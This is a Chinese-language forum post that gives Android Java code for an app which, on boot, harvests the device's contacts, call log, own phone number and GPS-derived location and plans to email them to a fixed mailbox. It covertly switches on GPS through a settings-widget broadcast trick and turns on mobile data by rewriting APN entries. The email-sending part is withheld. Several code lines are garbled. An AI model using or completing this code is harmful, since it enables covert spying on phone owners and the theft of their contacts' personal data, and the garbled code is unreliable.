灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2160回复:0

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里

楼主#
更多 发布于:2012-09-06 13:44


自己整理了下,未测试,主要是方便自己的学习
整个程序的大概思路是这样的
手机开始时:
1、获取手机联系人信息、通话记录、手机号码
2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地
3、检查手机网络开关,关闭则开启
4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太多这里就不贴出来了,有需要的联系我)
5、手机网络还原到初始状态、关闭gps(尚未实现,有实现的朋友可以一起研究一下)
添加权限
<uses-permission Android:name="Android.permission.interNET" />
<uses-permission Android:name="Android.permission.ACCESS_FINE_LOCATION" />
<uses-permission Android:name="Android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission Android:name="Android.permission.READ_PHONE_STATE" />
<uses-permission Android:name="Android.permission.WRITE_SETTINGS" />
<uses-permission Android:name="Android.permission.READ_CONTACTS" />
<uses-permission Android:name="Android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission Android:name="Android.permission.WRITE_APN_SETTINGS"/>

下面我们就按部就班来实现我们的想法:
[java]
1、获取联系人、电话号码、通话记录:

[java]
/**
* 获取本机号码
* @param context
* @return
*/
public static String getLocalNumber() {
  TelephonyManager mTelephonyMgr;
  mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  return mTelephonyMgr.getLine1Number();
}

/**
  * 获取联系人
  * @param context
  * @return
  */
public static  String getContact(){
  ContentResolver cr = context.getContentResolver();    
  //取得电话本中开始一项的光标  
  Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);  
  String string ="";
  while (cursor.moveToNext())  
  {  
      // 取得联系人名字  
     int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);  
      String name = cursor.getString(nameFieldColumnIndex);  
      string += ("联系人:"+name+", 电话号码:");  
      // 取得联系人ID  
      String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));  
      Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,       ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "  
              + contactId, null, null);  
    
      // 取得电话号码(可能存在多个号码)  
      int i=0;
      while (phone.moveToNext())  
      {  
          String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));  
          if(i==0){
             string += (strPhoneNumber);    
          }else{
             string += ("," + strPhoneNumber);    
          }
        
          i++;
      }  
      string += "\n";  
      phone.close();  
      System.out.println("persion:"+string);
  }  
  cursor.close();
  return string;
}

  

  

/**

*获取通话记录

*/

public static List<Call> getCallList() {
  List<Call> callList = new ArrayList<Call>();
  int type;
  Date date;
  String time = "";
  String telName = "";
  String telNo = "";

  ContentResolver cr = context.getContentResolver();
  final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
    new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
      CallLog.Calls.TYPE, CallLog.Calls.DATE,
      CallLog.Calls.DURATION }, null, null,
    CallLog.Calls.DEFAULT_SORT_ORDER);
  for (int i = 0; i < cursor.getCount(); i++) {
   Call call = new Call();
   cursor.moveToPosition(i);
   telName = cursor.getString(1);
   telNo = cursor.getString(0);
   type = cursor.getInt(2);
   SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mms");
   date = new Date(Long.parseLong(cursor.getString(3)));
   time = sfd.format(date);
   // call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4))));
   // String callDate = getdays(Long.parseLong(cursor.getString(3)));
   if (telName != null) {
    call.setName(telName);
   } else {
    call.setName("未知联系人");
   }
   call.setNumber(telNo);
   call.setTime(time);

   if (CallLog.Calls.INCOMING_TYPE == type) {
    call.setType("接听");
   } else if (CallLog.Calls.OUTGOING_TYPE == type) {
    call.setType("拨出");
   } else if (CallLog.Calls.MISSED_TYPE == type) {
    call.setType("未接");
   }
   callList.add(call);
  }
  return callList;
}

private String formatDuring(long mss) {
  long hours = mss / (60 * 60);
  long minutes = (mss % (1000 * 60 * 60)) / 60;
  long seconds = (mss % (1000 * 60));
  return hours + ":" + minutes + ":" + seconds;
}

private String getdays(long callTime) {
  String value = "";
  long newTime = new Date().getTime();
  long duration = (newTime - callTime) / (1000 * 60);
  if (duration < 60) {
   value = duration + "分钟前";
  } else if (duration >= 60 ;; duration < DAY) {
   value = (duration / 60) + "小时前";
  } else if (duration >= DAY ;; duration < DAY * 2) {
   value = "昨天";
  } else if (duration >= DAY * 2 ;; duration < DAY * 3) {
   value = "前天";
  } else if (duration >= DAY * 7) {
   SimpleDateFormat sdf = new SimpleDateFormat("M月dd日");
   value = sdf.format(new Date(callTime));
  } else {
   value = (duration / DAY) + "天前";
  }
  return value;
}

  

/**

*实体类

*/


public class Call {
private String name;
private String number;
private String time;
private String type;

}

1.apn实现
[java]
static Uri uri = Uri.parse("content://telephony/carriers");
static Context context;
public APNUtils(Context context){
  this.context=context;
}
  
/**
* 检查网络
* @return
*/
    public static boolean checkNet() {
         boolean flag = false;
         ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
         if (cwjManager.getActiveNetworkInfo() != null) {
             flag = cwjManager.getActiveNetworkInfo().isAvailable();
         }
         return flag;
     }
/**
  * 打开网络www.atcpu.com
  */
public static void openAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn));
   cv.put("type", APNMatchUtils.matchAPN(apn.type));
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
}
  
/**
* 关闭网络
*/
public static void closeAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev");
   cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev");
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
}
  
private static List<APN> getAPNList() {
  String tag = "Main.getAPNList()";
  // current不为空表示可以使用的APN
  String projection[] = { "_id,apn,type,current" };
  Cursor cr = context.getContentResolver().query(uri, projection, null,
    null, null);
  List<APN> list = new ArrayList<APN>();
  while (cr != null ;; cr.moveToNext()) {
   Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + "  "
     + cr.getString(cr.getColumnIndex("apn")) + "  "
     + cr.getString(cr.getColumnIndex("type")) + "  "
     + cr.getString(cr.getColumnIndex("current")));
   APN a = new APN();
   a.id = cr.getString(cr.getColumnIndex("_id"));
   a.apn = cr.getString(cr.getColumnIndex("apn"));
   a.type = cr.getString(cr.getColumnIndex("type"));
   list.add(a);
  }
  if (cr != null)
   cr.close();
  return list;
}
2.gps实现
[java]
public static String getCityNameByGps() {

  LocationManager lm = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  Criteria criteria = new Criteria();
  criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
  criteria.setAltitudeRequired(false); // 不要求海拔信息
  criteria.setBearingRequired(false); // 不要求方位信息
  criteria.setCostAllowed(true); // 是否允许付费
  criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
  String provider = lm.getBestProvider(criteria, true); // 获取GPS信息
  Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置

  updateToNewLocation(location);
  // 设置监听器,自动更新的最小时间为间隔N秒(1秒为1*1000,这样写主要为了方便)或最小位移变化超过N米
  LocationListener locationListener = new LocationListener() {
   @Override
   public void onLocationChanged(Location location) {
    updateToNewLocation(location);
   }

   @Override
   public void onProviderDisabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onProviderEnabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onStatusChanged(String provider, int status,
     Bundle extras) {

   }

  };
  // lm.requestLocationUpdates(provider, 3000, 1, locationListener);
  return addressString;
}

/**
  *
  * [功能描述].
  *
  * @param location
  *            [参数说明]
  * @createTime 2011-10-11 下午03:22:21
  */
public static void updateToNewLocation(Location location) {
  // System.out.println("begin updateLocation****");

  if (location != null) {
   // System.out.println("location is null");
   double lat = location.getLatitude();
   double lon = location.getLongitude();
   // System.out.println("get lattitude from GPS ===>" + lat);
   // System.out.println("get Longitude from GPS ===>" + lon);

   // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);

   StringBuilder sb = new StringBuilder();

   Geocoder gc = new Geocoder(context, Locale.getDefault());
   try {
    List<Address> addresses = gc.getFromLocation(lat, lon, 1);
    if (addresses.size() > 0) {
     Address address = addresses.get(0);
     // for (int i = 0; i < address.getMaxAddressLineIndex();
     // i++) {
     sb.append(address.getAddressLine(1)).append("\n");
     // sb.append(address.getLocality()).append("\n");

     // sb.append(address.getCountryName()).append("\n");
     addressString = sb.toString();

     // }
    }

   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    addressString = "未知地区";
   }

  }
  // System.out.println("end updateLocation****");
}

/**
  * 获取GPS状态
  *
  * @param context
  * @return
  */
public static boolean getGPSState() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  // 判断GPS模块是否开启,如果没有则开启
  if (!locationManager
    .isProviderEnabled(Android.location.LocationManager.GPS_PROVIDER)) {
   return false;
  } else {
   return true;
  }
}

public static void openGPS() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);

  if (!locationManager
    .isProviderEnabled(Android.location.LocationManager.GPS_PROVIDER)) {

   Intent gpsIntent = new Intent();
   gpsIntent.setClassName("com.Android.settings",
     "com.Android.settings.widget.SettingsAppWidgetProvider");
   gpsIntent.addCategory("Android.intent.category.ALTERNATIVE");
   gpsIntent.setData(Uri.parse("custom:3"));
   try {
    PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();
   } catch (CanceledException e) {
    e.printStackTrace();
   }
  }
}




喜欢0 评分0
游客

返回顶部